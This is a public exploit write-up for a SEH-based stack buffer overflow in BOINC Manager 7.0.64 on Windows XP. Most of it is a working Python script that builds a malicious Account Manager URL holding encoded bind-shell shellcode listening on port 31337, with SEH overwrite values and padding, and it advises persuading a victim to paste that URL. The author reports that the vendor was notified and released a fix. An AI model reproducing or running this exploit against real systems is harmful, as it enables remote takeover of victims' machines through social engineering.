BOINC Manager (Seti@home) 7.0.64 – Field Buffer Overflow (SEH)
# Exploit Title: BOINC Manager 7.0.64 Field stack based buffer overflow # Date: 26.05.2013 # Exploit Author: xis_one@STM Solutions # Vendor Homepage: http://boinc.berkeley.edu/ # Software Link: http://boinc.berkeley.edu/dl/boinc_7.0.64_windows_intelx86.exe # Version: 7.0.64 for Windows # Tested on: Windows XP SP3 Eng (32bits) # # #BOINC 7.0.64 Windows x86 (used by Seti@HOME) Manager Field stack based buffer overflow - SEH based # #BOINC is a program that lets you donate your idle computer time to science projects like #SETI@home, Climateprediction.net, Rosetta@home, World Community Grid, and many others. # #In order to exploit the vulnerability the attacker must convince the victim to use the very long URL as Account Manager URL. #This URL is generated by the exploit into the exploit.txt file. If it dosnt work on the first time - give it one more try. #The victim must follow: # #Add project -> Use account manager -> Account Manager URL # #As with all Field BOF the severity is rather low but hey watch the movie and read below # #http://www.youtube.com/watch?v=H9Hz8OPWjtM&feature=youtu.be # #Developers team @ berkley.edu was informed about the issue and released the BOINC 7.1.3 version including the fix within a week timeframe. #windows/shell/bind_tcp EXITFUNC=thread LPORT=31337 R | msfencode -e x86/alpha_upper -t c shellcode = ( "\x89\xe6\xdb\xdf\xd9\x76\xf4\x5e\x56\x59\x49\x49\x49\x49\x43" "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34" "\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41" "\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58" "\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4c\x49\x35\x50" "\x33\x30\x35\x50\x55\x30\x4c\x49\x4a\x45\x56\x51\x4e\x32\x35" "\x34\x4c\x4b\x51\x42\x30\x30\x4c\x4b\x31\x42\x44\x4c\x4c\x4b" "\x56\x32\x32\x34\x4c\x4b\x43\x42\x56\x48\x54\x4f\x4f\x47\x50" "\x4a\x57\x56\x36\x51\x4b\x4f\x36\x51\x39\x50\x4e\x4c\x47\x4c" "\x33\x51\x33\x4c\x53\x32\x46\x4c\x47\x50\x39\x51\x38\x4f\x44" "\x4d\x45\x51\x4f\x37\x4d\x32\x4c\x30\x46\x32\x31\x47\x4c\x4b" "\x46\x32\x42\x30\x4c\x4b\x30\x42\x47\x4c\x55\x51\x58\x50\x4c" "\x4b\x31\x50\x34\x38\x4d\x55\x39\x50\x33\x44\x51\x5a\x55\x51" "\x4e\x30\x50\x50\x4c\x4b\x30\x48\x52\x38\x4c\x4b\x56\x38\x51" "\x30\x35\x51\x49\x43\x4d\x33\x47\x4c\x37\x39\x4c\x4b\x56\x54" "\x4c\x4b\x55\x51\x4e\x36\x46\x51\x4b\x4f\x30\x31\x39\x50\x4e" "\x4c\x49\x51\x38\x4f\x44\x4d\x45\x51\x48\x47\x56\x58\x4d\x30" "\x44\x35\x5a\x54\x55\x53\x53\x4d\x4b\x48\x57\x4b\x43\x4d\x46" "\x44\x43\x45\x4d\x32\x46\x38\x4c\x4b\x56\x38\x56\x44\x43\x31" "\x4e\x33\x35\x36\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x30\x58\x45" "\x4c\x35\x51\x58\x53\x4c\x4b\x53\x34\x4c\x4b\x35\x51\x38\x50" "\x4b\x39\x51\x54\x56\x44\x37\x54\x51\x4b\x51\x4b\x33\x51\x56" "\x39\x31\x4a\x50\x51\x4b\x4f\x4d\x30\x46\x38\x51\x4f\x30\x5a" "\x4c\x4b\x42\x32\x5a\x4b\x4d\x56\x31\x4d\x45\x38\x47\x43\x57" "\x42\x45\x50\x33\x30\x45\x38\x54\x37\x54\x33\x46\x52\x31\x4f" "\x31\x44\x52\x48\x30\x4c\x32\x57\x57\x56\x53\x37\x4b\x4f\x4e" "\x35\x4f\x48\x5a\x30\x35\x51\x35\x50\x53\x30\x47\x59\x38\x44" "\x30\x54\x36\x30\x53\x58\x51\x39\x4b\x30\x32\x4b\x43\x30\x4b" "\x4f\x39\x45\x36\x30\x36\x30\x36\x30\x50\x50\x51\x50\x46\x30" "\x47\x30\x56\x30\x42\x48\x4b\x5a\x54\x4f\x59\x4f\x4b\x50\x4b" "\x4f\x59\x45\x4a\x37\x36\x51\x49\x4b\x51\x43\x53\x58\x43\x32" "\x33\x30\x33\x4a\x55\x39\x4d\x59\x4a\x46\x52\x4a\x42\x30\x36" "\x36\x30\x57\x42\x48\x38\x42\x59\x4b\x50\x37\x53\x57\x4b\x4f" "\x39\x45\x30\x53\x50\x57\x55\x38\x4e\x57\x4a\x49\x47\x48\x4b" "\x4f\x4b\x4f\x59\x45\x46\x33\x56\x33\x50\x57\x52\x48\x43\x44" "\x5a\x4c\x47\x4b\x4d\x31\x4b\x4f\x38\x55\x30\x57\x4d\x47\x42" "\x48\x42\x55\x42\x4e\x30\x4d\x35\x31\x4b\x4f\x39\x45\x32\x4a" "\x53\x30\x43\x5a\x34\x44\x36\x36\x56\x37\x42\x48\x35\x52\x58" "\x59\x49\x58\x51\x4f\x4b\x4f\x39\x45\x4c\x4b\x36\x56\x32\x4a" "\x57\x30\x52\x48\x33\x30\x32\x30\x43\x30\x55\x50\x56\x36\x42" "\x4a\x55\x50\x43\x58\x50\x58\x39\x34\x56\x33\x4d\x35\x4b\x4f" "\x39\x45\x4a\x33\x56\x33\x43\x5a\x35\x50\x46\x36\x46\x33\x50" "\x57\x42\x48\x43\x32\x49\x49\x58\x48\x31\x4f\x4b\x4f\x58\x55" "\x45\x51\x58\x43\x51\x39\x4f\x36\x4c\x45\x5a\x56\x42\x55\x5a" "\x4c\x58\x43\x41\x41") urlstart="http://boinc.unex.es/extremadurathome?longurl=" #Pre and Post - play with them to make them look like a valid long URL (some nice examples from google apps are out there) pre="C"*(1292-46) nseh="\xEB\x06\x43\x43" #XP sp 3 32bit Eng 0x018f1d3a : popad # call ebp | {PAGE_READWRITE} space outside of loaded modules to bypass safeseh NOP="\x43\x43" seh="\x3a\x1d\x8f\x01" post="C"*5000 buffer = urlstart + pre + nseh + seh + NOP + shellcode + post print(buffer) file = open('exploit.txt','w') file.write(buffer) file.close() |